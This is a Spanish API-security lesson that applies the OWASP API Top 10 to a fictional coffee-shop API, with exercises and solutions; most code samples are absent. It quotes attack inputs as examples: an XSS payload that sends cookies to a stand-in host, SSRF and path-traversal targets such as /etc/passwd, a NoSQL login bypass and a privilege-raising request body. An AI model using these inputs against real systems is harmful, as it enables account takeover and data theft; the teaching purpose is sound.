La API de Tienda Aroma ya tiene autenticación con JWT, autorización por rol y por propiedad, validación estricta con Zod y sentencias preparadas contra la base de datos. Eso no la hace segura: la hace no obviamente insegura, que es un punto de partida, no una meta. Un atacante no busca vulnerabilidades en abstracto; busca el pedido de otro cliente, el campo que no validaste, el endpoint de pruebas que dejaste desplegado y la clave que se coló en el repositorio.

Esta lección recorre el panorama de amenazas de una API REST con el proyecto delante. Usaremos el OWASP API Security Top 10 como mapa —es el estándar del sector y el vocabulario que se usa en cualquier auditoría—, pero cada punto se ilustra con una petición concreta contra Tienda Aroma y se cierra con la defensa exacta, indicando en qué fichero vive. Añadiremos helmet a src/app.js en su posición precisa dentro de la cadena, veremos qué hacer con los secretos, qué obligaciones aparecen en cuanto tocas datos personales y cómo se aceptan imágenes sin abrir un agujero. Al final tendrás un modelo de amenazas ligero para el proyecto.

Advertencia importante. Esta lección enseña a reconocer y mitigar clases de vulnerabilidad conocidas, y a construir con un nivel de higiene razonable. No sustituye a una revisión de seguridad profesional. Antes de exponer a Internet una API que maneje dinero o datos personales reales, el diseño y la implementación deben ser revisados por alguien especializado, y conviene una prueba de penetración. Todos los datos de este curso son ficticios.

1. Cómo piensa un atacante frente a una API
2. OWASP API Security Top 10 sobre Tienda Aroma
3. API1: BOLA, la vulnerabilidad número uno
4. API2 y API5: autenticación rota y autorización a nivel de función
5. API3: exposición excesiva de datos y asignación masiva
6. API4: consumo ilimitado de recursos
7. API7: SSRF
8. API8: mala configuración de seguridad
9. API9: gestión del inventario de APIs
10. Transporte: TLS, HSTS y por qué nunca se acepta HTTP
11. Inyecciones: SQL, NoSQL, comandos y XSS a través de la API
12. Cabeceras de seguridad y helmet en src/app.js
13. Gestión de secretos
14. Datos personales y RGPD
15. Subida de imágenes de café
16. Dependencias y cadena de suministro
17. Modelo de amenazas ligero de Tienda Aroma

Antes del catálogo, conviene entender el cambio de perspectiva. Cuando aseguras una aplicación web clásica, el atacante interactúa con las pantallas que le enseñas. Cuando aseguras una API, el atacante interactúa con todos los endpoints a la vez, en el orden que quiera, con los parámetros que quiera, sin pasar por tu SPA.

Tres consecuencias prácticas que gobiernan todo lo demás:

• No existe la validación en el cliente. Cualquier comprobación que haga la SPA es una mejora de usabilidad, jamás una defensa. curl no ejecuta tu JavaScript.
• Cada endpoint es una puerta independiente. Que /v1/pedidos compruebe la propiedad del recurso no significa nada sobre /v1/pedidos/{id}/factura. Las 24 URIs del contrato son 24 superficies.
• El atacante ya tiene una cuenta. El escenario más rentable no es entrar sin credenciales: es registrarse como cliente normal —algo que tu API permite y debe permitir— y desde ahí llegar a datos ajenos. Por eso la mayoría de las vulnerabilidades reales son de autorización, no de autenticación.

El OWASP API Security Top 10 es la lista de las diez clases de vulnerabilidad más frecuentes y dañinas en APIs, publicada por la Open Worldwide Application Security Project. La versión vigente es la de 2023.

Fíjate en un dato revelador: cinco de los diez son problemas de autorización o de exposición de datos, no de criptografía ni de inyecciones. La seguridad de una API se juega sobre todo en "quién puede ver y hacer qué", que es exactamente donde menos ayudan las herramientas automáticas, porque solo tú sabes qué es correcto en tu dominio.

BOLA (Broken Object Level Authorization), también llamada IDOR (Insecure Direct Object Reference), es la vulnerabilidad más frecuente y más explotada de las APIs. El mecanismo es trivial:

El token es válido, la ruta existe, el recurso existe. La autenticación funciona perfectamente y la API está comprometida, porque nadie ha comprobado que ese pedido sea de quien lo pide. Con un bucle de 10.000 iteraciones el atacante se lleva la base de pedidos entera, con nombres, direcciones e importes.

La defensa, que ya implementamos en 03-06, tiene que enunciarse como regla sin excepciones:

Toda operación que recibe un identificador en la URI debe comprobar que el sujeto autenticado tiene derecho sobre ESE objeto concreto, en cada petición.

Cuatro detalles que marcan la diferencia entre una comprobación real y una decorativa:

Responder 404 y no 403 cuando el recurso es ajeno. Un 403 confirma que ped_5002 existe, y eso ya es información: permite enumerar cuántos pedidos hay y cuándo se crean. El 404 no distingue "no existe" de "no es tuyo", que es justo lo que queremos. La excepción es cuando el recurso es público y el problema es solo el permiso de escritura; ahí 403 permisos_insuficientes es correcto y más útil.

La comprobación va en el servicio, no en el controlador. Si vive en el controlador, el día que otro controlador reutilice el servicio, la comprobación desaparece sin que nadie lo note.

El sujeto sale del token, nunca de la petición. Este es el error clásico:

Los identificadores opacos no son una defensa, pero ayudan. ped_5001 es secuencial y adivinable; un UUID como ped_9f3a... no lo es. Eso no arregla el BOLA —un atacante que obtenga un identificador por otra vía sigue accediendo—, pero convierte un barrido masivo en un ataque dirigido. Es defensa en profundidad, no sustituto.

Y hay que probarlo. La única forma de que un BOLA no vuelva es una prueba de integración que falle si alguien quita la comprobación; en 03-08 escribimos exactamente esa prueba, y hay que escribir una por cada recurso con dueño.

Los fallos habituales y su estado en el proyecto:

El de alg: none merece código, porque es un fallo de una línea con consecuencias totales:

Sin algorithms, un atacante puede presentar un token con la cabecera {"alg":"none"} y sin firma, o firmar con HMAC usando como clave la clave pública RSA cuando el servidor espera RS256. Ambos ataques son históricos, están automatizados en cualquier herramienta y se cierran con esa lista blanca.

Si BOLA es "puedo ver el objeto de otro", API5 es "puedo ejecutar una función que no me corresponde":

El exigirRol('empleado','administrador') de 03-06 lo cubre, pero la vulnerabilidad reaparece siempre por la misma vía: el endpoint nuevo que se despliega sin el middleware. Tres medidas de proceso valen más que cualquier código:

• Denegar por defecto: que la ausencia de decisión sea "prohibido", no "permitido".
• Matriz de permisos escrita (la de 03-06) revisada en cada pull request que añade una ruta.
• Una prueba por celda de la matriz: cada rol contra cada operación sensible.

Y un fallo específico que se cuela con frecuencia: cambiar el método sobre la misma ruta. Si GET /v1/cafes/{id} es público y PUT /v1/cafes/{id} exige rol, comprueba que el PUT realmente lo exige y que un PATCH no queda sin proteger porque se añadió después. El router.all(...) con metodoNoPermitido(...) que ya cierra cada ruta ayuda, porque un método no declarado devuelve 405 en lugar de caer en un manejador inesperado.

Son las dos caras del mismo error: dejar que el modelo interno se comunique directamente con el mundo.

Cada campo de más es una vulnerabilidad distinta: el hash permite un ataque de diccionario offline, token_recuperacion permite tomar la cuenta, notas_internas es un problema de RGPD y de reputación, y intentos_fallidos ayuda a temporizar un ataque.

La defensa está en el mapeador de 03-03 y consiste en una lista blanca, nunca en una lista negra:

La diferencia entre lista blanca y lista negra no es estilística: con lista negra (delete fila.hash_contrasena), la columna que añadas dentro de seis meses se publica sola. Con lista blanca, el peor caso es que un campo nuevo no aparezca hasta que lo añadas, que es un bug inofensivo.

Y hay un segundo nivel que se olvida: qué campos ve cada rol. El correo de un cliente puede ser visible para él y para un empleado, y no para otro cliente que lea una reseña suya. Eso implica que el mapeador a veces necesita saber quién pregunta:

El ataque clásico, en dos líneas:

Si el controlador hace repositorio.crear(req.body), acabas de regalar la tienda. Lo mismo con "activo": true para saltarse la verificación de correo, "saldo": 1000 en un monedero o "version": 99 para saltarse la concurrencia optimista.

En Tienda Aroma esto ya estaba bloqueado desde 03-04, y merece la pena ver exactamente por qué:

.strict() hace que Zod rechace cualquier clave que no esté declarada, devolviendo 400 datos_invalidos. Sin .strict(), Zod usa el modo por defecto: elimina silenciosamente las claves desconocidas del objeto resultante. Eso también protegería si y solo si el controlador usa el resultado validado y no req.body original —que es la trampa donde cae mucha gente:

Por eso el middleware validar de 03-04 deja el resultado en req.datosValidados y los controladores solo leen de ahí. Es una convención con valor de seguridad, no de estilo.

La última fila es mejor que la tercera por una razón que va más allá de la seguridad: el 400 avisa al consumidor honesto de que su campo tiene una errata, en vez de dejarle creer que ha guardado algo.

Un atacante no siempre quiere tus datos; a veces le basta con que tu API deje de funcionar, o con que tu factura de infraestructura se dispare. Los vectores en Tienda Aroma:

Tres ya estaban puestos, tres se cierran en la siguiente lección y uno en esta. Lo importante ahora es reconocer el patrón común: cualquier parámetro que el consumidor controle y que multiplique tu trabajo es un vector de disponibilidad. Cuando diseñes un parámetro nuevo, la pregunta obligatoria es "¿cuál es el valor más caro que puede mandarme?".

SSRF (Server-Side Request Forgery) ocurre cuando tu servidor hace una petición de red a una URL que decide el usuario. Aparece de forma natural en Tienda Aroma en cuanto se acepta una imagen por URL:

Tu servidor descarga esa URL. Ahora el atacante manda:

Esa dirección es el servicio de metadatos de la mayoría de nubes: desde dentro de la máquina devuelve credenciales temporales de la cuenta. Otras variantes: http://localhost:6379 para hablar con tu Redis, http://10.0.3.14:5432 para escanear la red interna, o file:///etc/passwd.

La defensa es una lista blanca de destinos, no una lista negra de direcciones:

Los pasos 3 y 4 son los que se olvidan. El 3 evita que un dominio permitido apunte deliberadamente a una IP interna; el 4, que una redirección lo haga después de la comprobación. Aun así queda una carrera conocida (DNS rebinding: el nombre se resuelve a una IP distinta entre la comprobación y la conexión), y por eso la solución robusta en producción es hacer estas descargas desde una red aislada o un proxy de salida con lista blanca, no solo con código.

Y la contrapartida (API10): cuando tú consumes una API de terceros, como la de RápidoEnvíos, su respuesta es entrada no confiable. Se valida con un esquema igual que la de un cliente, se le pone timeout y no se reenvía tal cual a tus consumidores.

Es la categoría más aburrida y la que más incidentes causa, porque no requiere ninguna habilidad para explotarla. La lista de comprobación para Tienda Aroma:

Merece atención un caso concreto y muy real: el directorio .git servido. Si el despliegue copia el repositorio entero a la raíz web, cualquiera descarga tu historial completo, incluidos los secretos que borraste en un commit posterior. Y el .env: si algún día alguien pone un express.static('.') para servir un fichero, sirve también el .env con la clave de firma.

No puedes proteger lo que no sabes que existe. Los casos típicos, todos vistos en producción real:

• La versión anterior sigue en pie. Retiras /v1 cuando sale /v2, pero el proceso viejo sigue escuchando y sin los parches nuevos.
• El entorno de pruebas es público. api-pruebas.tiendaaroma.example con datos reales copiados de producción, sin rate limiting y con usuarios de prueba de contraseña test1234.
• Endpoints de depuración olvidados. /debug/estado, /v1/_admin/reset, /salud/detallado devolviendo la configuración completa.
• Documentación interactiva expuesta. Un Swagger UI público que lista todos los endpoints internos, incluidos los que no querías anunciar.
• Un subdominio apuntando a un servicio que ya no controlas, que permite a un tercero servir contenido bajo tu dominio.

Las medidas son de proceso, no de código:

1. Inventario escrito de entornos y versiones desplegadas, con responsable y fecha de retirada.
2. openapi.yaml como fuente única: si un endpoint no está en el contrato, no debe estar desplegado. Un test de humo puede comparar las rutas registradas en Express con las del YAML y fallar si sobra alguna.
3. Datos de prueba sintéticos: nunca una copia de producción en pruebas; es además una infracción de RGPD.
4. Retirada con fecha: el proceso de Deprecation/Sunset de 02-07 termina apagando el servicio, no solo documentando.

Sin TLS, todo lo demás es decorativo: el token Bearer viaja en claro y cualquiera en la misma red lo lee y lo reutiliza.

Reglas no negociables:

• HTTPS en todo el dominio de la API, sin excepciones, ni siquiera en /salud.
• TLS 1.2 como mínimo, preferiblemente 1.3. SSLv3, TLS 1.0 y 1.1 están retirados.
• HTTP solo para redirigir. El puerto 80 responde 301 hacia https:// y nada más.
• HSTS, para que el navegador no vuelva a intentar HTTP.

max-age=31536000 son 365 días: durante ese tiempo el navegador convierte cualquier http:// de ese host en https:// antes de enviar nada, lo que cierra la ventana del primer salto donde se roba el token. includeSubDomains extiende la política a todos los subdominios —cuidado si alguno no tiene certificado, dejará de funcionar—, y preload permite inscribir el dominio en la lista que los navegadores traen de fábrica, con lo que la protección existe incluso en la primera visita. preload es difícil de revertir: no lo pongas hasta estar seguro.

Una advertencia importante sobre el ámbito: HSTS solo lo entienden los navegadores. La app Aroma Móvil y el servidor de RápidoEnvíos no lo aplican, así que para ellos la defensa es no aceptar HTTP en absoluto y, en el caso de la app móvil, fijar el certificado (certificate pinning) si el riesgo lo justifica.

En la práctica, el TLS de Tienda Aroma no lo termina Express: lo termina el balanceador o la CDN que está delante. Eso significa que Express recibe HTTP por dentro y necesita saber que la petición original era segura, algo que se configura con app.set('trust proxy', 1) y que tiene consecuencias directas en el rate limiting por IP (04-04) y en las cookies Secure.

Ya está mitigada, pero conviene ver exactamente por qué. En 03-05 todas las consultas usan sentencias preparadas de better-sqlite3:

La diferencia técnica es que la sentencia preparada envía la estructura de la consulta y los datos por caminos separados: el motor ya ha decidido qué es sintaxis antes de ver tu valor.

Hay un punto que las sentencias preparadas no cubren: los identificadores (nombres de columna y dirección de orden) no pueden parametrizarse. Y ahí es donde entra ?ordenar=:

El principio general: si algo no se puede parametrizar, se selecciona de una lista blanca; nunca se concatena texto del usuario.

Tienda Aroma usa SQLite, pero conviene reconocer el patrón porque es muy común. En MongoDB, si pasas directamente un objeto JSON como filtro:

{"$gt": ""} es un operador que significa "cualquier valor mayor que la cadena vacía", es decir, cualquier contraseña. La defensa no es escapar: es validar los tipos con Zod antes de tocar la base de datos, de modo que contrasena deba ser una cadena y un objeto se rechace con 400. Otra vez, la validación estricta de 03-04 es una defensa de seguridad, no solo de calidad de datos.

Si algún día generas una miniatura llamando a un binario:

Y con la ruta validada aparte, para evitar el path traversal (../../etc/passwd): nunca se construye una ruta de fichero concatenando texto del usuario; se genera un nombre propio.

Una API que devuelve JSON no ejecuta HTML, así que parece inmune. No lo es del todo, por dos vías:

Almacenamiento y reflejo. Si el comentario de una reseña contiene <script>fetch('https://malo.example?c='+document.cookie)</script>, tu API lo guarda tal cual y lo devuelve tal cual. El problema estalla en la SPA si esta lo inserta con innerHTML. La responsabilidad principal del escapado es del cliente —porque solo él sabe en qué contexto lo pinta—, pero la API puede y debe ayudar: rechazar o sanear HTML en campos que no lo necesitan, y limitar longitudes.

Respuesta interpretada como HTML. Si tu API devuelve un error con el texto del usuario reflejado y un Content-Type erróneo o ausente, un navegador puede intentar adivinarlo (MIME sniffing) y ejecutarlo. Las dos defensas son la cabecera X-Content-Type-Options: nosniff y devolver siempre Content-Type: application/json explícito. Justo lo que entra ahora.

helmet es un middleware que fija un conjunto de cabeceras de seguridad con valores sensatos por defecto. Fue pensado para aplicaciones que sirven HTML, así que en una API JSON algunas cabeceras son irrelevantes y otras son importantes; hay que saber cuáles.

Qué hace cada cabecera y cuánto importa en una API:

Una advertencia práctica: crossOriginResourcePolicy en same-origin puede bloquear a la SPA en algunos escenarios de navegador. Si tu API tiene consumidores en otros orígenes —y Tienda Aroma los tiene—, ajústala a cross-origin o desactívala, y confía en CORS para el control de acceso. Ese ajuste se decide en 04-05 junto con el resto de la política.

Por qué en la posición 3, después de la traza y antes de todo lo demás. helmet fija cabeceras en la respuesta; para que esas cabeceras estén presentes en todas las respuestas —incluidos los 429 del rate limiter, los 400 del parser de JSON, los 404 de ruta desconocida y los 500 del manejador de errores— tiene que ejecutarse antes que cualquier middleware capaz de responder. Va después de asignarTrazaId únicamente porque la traza debe existir desde el primer instante para poder correlacionar cualquier cosa que ocurra después, incluido un fallo dentro del propio helmet.

Verificación rápida:

Un secreto es cualquier valor cuya divulgación compromete el sistema: la clave de firma de los JWT, la contraseña de la base de datos, la clave HMAC de los webhooks a RápidoEnvíos, las credenciales del proveedor de pago.

Las reglas mínimas:

En 03-01 ya validamos la configuración al arrancar; conviene añadir la comprobación de robustez, porque un secreto débil en producción es tan grave como ninguno:

Que el proceso no arranque es lo correcto: un fallo ruidoso al desplegar es infinitamente mejor que un sistema funcionando con un secreto de ejemplo.

Gestores de secretos. En producción, las variables de entorno se rellenan desde un gestor —HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, Azure Key Vault— que aporta lo que un fichero no puede: control de acceso por identidad, auditoría de quién leyó qué y cuándo, versionado y rotación.

Rotación. Un secreto debe poder cambiarse sin cortar el servicio, y eso obliga a aceptar dos a la vez durante la transición. Para la firma de JWT: se firma con la clave nueva y se acepta la verificación con la nueva y la anterior hasta que caduquen todos los tokens emitidos (15 minutos con nuestra configuración). Diseñar el código para admitir una lista de claves de verificación, en vez de una sola, es lo que hace posible la rotación; en 04-03 verás que OAuth resuelve esto de forma nativa con el kid y el JWKS.

Si un secreto se filtra, el orden importa y hay que tenerlo escrito antes de necesitarlo:

1. Rotar primero, investigar después. El secreto filtrado se revoca ya.
2. Invalidar lo derivado: todos los tokens firmados con esa clave, todas las sesiones.
3. Revisar los accesos en los logs desde la fecha probable de la filtración.
4. Borrar del historial de Git (git filter-repo) y forzar la reescritura — pero asumiendo que el secreto ya es público: si estuvo en un repositorio, se considera comprometido para siempre.
5. Notificar según proceda; si hay datos personales implicados, hay plazos legales (apartado 14).
6. Añadir la detección: un escáner de secretos en la integración continua (gitleaks, trufflehog) para que no vuelva a ocurrir.

Tienda Aroma almacena nombre, correo, dirección de envío e historial de compras. Todo eso son datos personales y su tratamiento está regulado en la UE por el RGPD. No es materia de esta lección agotar la norma, pero sí conocer las consecuencias técnicas directas, porque afectan al diseño de la API.

Advertencia. Lo que sigue son implicaciones técnicas habituales, no asesoramiento jurídico. Cualquier sistema que trate datos personales reales necesita revisión de cumplimiento por parte de quien corresponda en tu organización.

No registrar datos sensibles en los logs. Es el punto donde más se falla, porque los logs se copian, se envían a servicios externos y se conservan mucho tiempo. Nunca deben aparecer contraseñas, tokens, la cabecera Authorization, números de tarjeta, direcciones postales completas ni correos en claro. La redacción automática y el detalle de qué se registra lo implementaremos en 04-07; conviene saber ya que es un requisito legal y no solo una buena práctica.

Cifrado en reposo. El fichero SQLite, las copias de seguridad y los volcados deben estar cifrados a nivel de disco o de fichero. Una copia de seguridad sin cifrar en un bucket mal configurado es una de las causas más frecuentes de brecha.

El derecho de supresión frente al borrado lógico. Aquí hay un choque real que hay que resolver conscientemente. En 03-05 usamos activo = 0 para el borrado lógico, porque nos permite conservar la integridad referencial: un pedido apunta a un cliente y no puede quedar huérfano. Pero "marcar como inactivo" no es borrar a efectos del RGPD.

La solución habitual es la anonimización o seudonimización selectiva: el registro sobrevive como entidad contable, pero deja de identificar a nadie.

Los comentarios señalan la tensión de fondo: la obligación fiscal de conservar facturas durante años coexiste con el derecho de supresión, y se resuelve conservando el dato económico y eliminando el identificativo. La decisión concreta de qué se conserva y cuánto tiempo no es técnica: requiere revisión de compliance. Lo que sí es responsabilidad técnica es que el sistema pueda hacerlo: si el diseño no contempla la anonimización desde el principio, cumplir después es carísimo. Y no olvides las copias de seguridad y los logs: si conservas backups un año, el dato sigue ahí; hay que documentar la política de retención.

POST /v1/cafes/{id}/imagen acepta un fichero. Toda subida es entrada no confiable y, además, una entrada que se va a servir después a otros usuarios.

La verificación por contenido, que es la que casi nadie hace:

Los magic bytes son la firma binaria del formato al principio del fichero. Comprobarlos impide el truco clásico de subir un ejecutable o un HTML con extensión .jpg y Content-Type: image/jpeg.

Aun así, la defensa más fuerte no es la detección sino el reprocesado: pasar la imagen por una librería que la decodifique y la vuelva a codificar (por ejemplo sharp) produce un fichero nuevo que no conserva nada de lo que hubiera escondido dentro, y de paso elimina los EXIF. Si la subida se hace directamente a un almacenamiento de objetos con URL prefirmada, el fichero ni siquiera pasa por tu API, que es mejor todavía para la disponibilidad.

express, zod, better-sqlite3, jsonwebtoken, bcrypt, dotenv, y ahora helmet. Cada una arrastra las suyas: el árbol real son cientos de paquetes, todos ejecutándose con los permisos de tu proceso.

Las prácticas que importan:

• package-lock.json versionado y npm ci en la integración continua. Sin él, dos instalaciones del mismo commit pueden traer código distinto.
• Actualizar de forma continua, no en una migración anual: diez actualizaciones pequeñas cuestan menos que una grande, y las grandes se posponen.
• Reducir el número de dependencias. La pregunta antes de instalar es si el problema se resuelve con la biblioteca estándar de Node, que hoy incluye crypto, fetch, test y AbortSignal.
• Fijar versiones de forma sensata: rangos estrechos y actualizaciones revisadas, con Dependabot o Renovate abriendo pull requests que pasan por tus pruebas.
• Desconfiar de los scripts de instalación. Un postinstall malicioso se ejecuta al instalar, antes de que revises nada. npm ci --ignore-scripts es una opción cuando es viable.
• Vigilar el typosquatting: expres, lodahs, node-fetchh. Copiar y pegar el nombre desde la documentación oficial evita la clase entera.

El ataque de cadena de suministro es hoy el vector de moda precisamente porque no requiere vulnerar tu código: basta con comprometer el de otro que tú ejecutas.

Un modelo de amenazas no necesita ser un documento de cien páginas. La versión útil cabe en una tabla y se revisa cada trimestre: activo → amenaza → defensa → dónde está implementada.

Cómo se usa: cuando añades una funcionalidad, añades sus filas. Si una fila no tiene una casilla "dónde" concreta, esa defensa no existe; es una intención. Y si una fila de impacto crítico tiene la casilla vacía, ese es tu siguiente trabajo, antes que cualquier funcionalidad nueva.

Confundir autenticación con autorización. "Tiene un token válido" solo responde a quién es. La pregunta qué puede hacer con este objeto concreto se responde en cada petición, y su ausencia es la vulnerabilidad número uno.

Validar en la SPA y no en la API. La validación del cliente es usabilidad. La API es el único punto donde la validación es una defensa.

Poner helmet al final de la cadena. Las cabeceras no aparecerían en las respuestas generadas por middlewares anteriores, que son justamente los errores.

Devolver 403 en recursos ajenos. Confirma la existencia y permite enumerar. 404 salvo que el recurso sea público.

Creer que .strict() basta si luego usas req.body. La validación solo protege si consumes el objeto validado.

Guardar el .env en el repositorio "solo un momento". El historial de Git es para siempre; el secreto queda comprometido aunque lo borres en el commit siguiente.

Fiarse del Content-Type de una subida. Lo escribe el cliente. Solo el contenido real cuenta.

Registrar la petición completa "para depurar". Es la forma más rápida de meter contraseñas y tokens en un sistema de logs con retención de un año.

Consejo: ataca tu propia API. Reserva media hora, coge un token de cli_842 y prueba sistemáticamente: identificadores ajenos, campos de más, métodos no previstos, valores extremos. Casi siempre aparece algo.

Consejo: convierte cada vulnerabilidad encontrada en una prueba. Una vulnerabilidad arreglada sin prueba vuelve en seis meses, cuando alguien refactoriza el servicio.

Consejo: la seguridad es en capas. Ninguna defensa de esta lección es suficiente por sí sola. Los identificadores opacos no sustituyen a la comprobación de propiedad, y helmet no sustituye a TLS.

Este controlador se ha propuesto para el nuevo endpoint GET /v1/clientes/{id} y PATCH /v1/clientes/{id}. Identifica al menos tres vulnerabilidades distintas del OWASP API Top 10, nómbralas con su categoría y corrígelas.

El panel interno (https://panel.tiendaaroma.example) necesita mostrar en un <img> las imágenes de café que sirve la API. Con la configuración de helmet del apartado 12, la imagen no carga. Explica qué cabecera lo impide y propón el ajuste, razonando por qué no compromete la seguridad de los endpoints JSON.

Se va a añadir POST /v1/clientes/{id}/exportacion, que genera un fichero con todos los datos personales del cliente (derecho de acceso del RGPD) y devuelve un enlace de descarga. Escribe las filas del modelo de amenazas de este endpoint: al menos cuatro amenazas con su defensa y dónde se implementaría.

Solución 1

Vulnerabilidades:

1. API1 (BOLA) en el GET: cualquier cliente autenticado lee los datos de cualquier otro. Falta la comprobación de propiedad.
2. API3 (exposición excesiva): res.json(cliente) devuelve la fila entera, incluidos hash_contrasena, rol, activo y cualquier columna futura.
3. API3 / asignación masiva en el PATCH: req.body va directo al repositorio, así que un cliente puede mandar {"rol":"administrador"} o {"activo":true}.
4. API1 otra vez en el PATCH: tampoco comprueba propiedad; un cliente edita a otro.
5. Extra: el 404 se construye a mano y no sigue el formato del catálogo (detalles ausente), rompiendo el contrato de 03-07.

Corrección:

Y una prueba que fija el arreglo:

Solución 2

La cabecera responsable es Cross-Origin-Resource-Policy: same-origin, que helmet activa por defecto. Con ese valor, el navegador se niega a incrustar la respuesta en un documento de otro origen; el panel está en panel.tiendaaroma.example y la imagen en api.tiendaaroma.example, así que son orígenes distintos y el <img> no pinta nada.

Ajuste:

Por qué no compromete la seguridad de los endpoints JSON: CORP no es un mecanismo de autorización, sino una protección contra ataques de canal lateral basados en incrustar respuestas (Spectre y similares). Quién puede leer el contenido de una respuesta sigue estando controlado por dos cosas independientes: la política CORS (04-05), que decide qué orígenes pueden leer la respuesta desde JavaScript, y sobre todo la autorización del servidor, que exige un token válido con los permisos adecuados. Un atacante que incruste GET /v1/pedidos/ped_5001 en una etiqueta <img> no envía el Authorization, recibe un 401 y además no puede leer el cuerpo.

Alternativa preferible: servir las imágenes desde un dominio propio (imagenes.tiendaaroma.example) con su propia configuración, y mantener same-origin en la API. Aísla mejor los dos problemas.

Solución 3

Nota transversal: al ser un endpoint que materializa un derecho del RGPD, el alcance exacto de los datos incluidos y los plazos de conservación del fichero requieren validación de compliance, no solo decisión técnica. Y el diseño correcto es asíncrono (202 Accepted + recurso de estado), porque generar el fichero puede tardar y no debe ocupar una conexión: ese patrón lo veremos en 04-06.

La seguridad de una API no es una capa que se añade, es una propiedad que se sostiene en cada endpoint. Has recorrido el OWASP API Security Top 10 sobre Tienda Aroma y has visto que la mayoría de las vulnerabilidades reales son de autorización: BOLA cuando alguien lee el pedido de otro, autorización de función rota cuando un cliente crea cafés, exposición excesiva cuando el mapeador no filtra, asignación masiva cuando req.body llega al repositorio. Has visto por qué .strict() de Zod y el mapeador con lista blanca —decisiones que parecían de calidad de código— eran en realidad defensas de primera línea; qué inyecciones siguen siendo posibles después de las sentencias preparadas, y cómo se cierra la única que quedaba abierta con la lista blanca de ordenar; cómo se defiende el transporte con TLS y HSTS, la red interna del SSRF y el almacenamiento de una imagen maliciosa. Y has añadido al proyecto src/middleware/seguridad.js con helmet, en la posición 3 de la cadena, antes de cualquier middleware capaz de responder.

Queda pendiente lo que este modelo de amenazas señala como abierto. Empezamos por la puerta de entrada: en 04-03, OAuth 2.0 y OpenID Connect en la práctica, resolveremos cómo una aplicación de terceros —"CataBox", que quiere leer los pedidos de un cliente— accede a Tienda Aroma sin conocer su contraseña. Veremos los cuatro roles del protocolo y por qué nuestra API es solo el servidor de recursos; los ámbitos cafes.leer, pedidos.leer, pedidos.escribir y resenas.moderar; los flujos vigentes con Authorization Code + PKCE para la SPA y la app móvil, Client Credentials para RápidoEnvíos y el de refresco; la diferencia entre autenticar y autorizar que aporta OpenID Connect con su id_token; y la validación de tokens con JWKS y kid —que, no por casualidad, resuelve de forma nativa el problema de rotación de claves que acabamos de plantear— en un middleware autenticarOAuth que convivirá con el autenticar de 03-06.